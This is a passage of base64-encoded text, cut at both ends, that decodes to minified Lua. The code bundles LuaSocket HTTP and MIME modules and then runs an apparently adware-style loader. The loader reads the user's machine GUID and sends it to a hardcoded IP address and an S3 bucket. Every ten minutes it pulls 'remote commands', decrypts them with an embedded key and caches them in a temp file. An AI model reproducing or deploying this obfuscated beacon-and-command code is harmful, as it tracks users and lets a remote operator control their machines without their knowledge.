KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
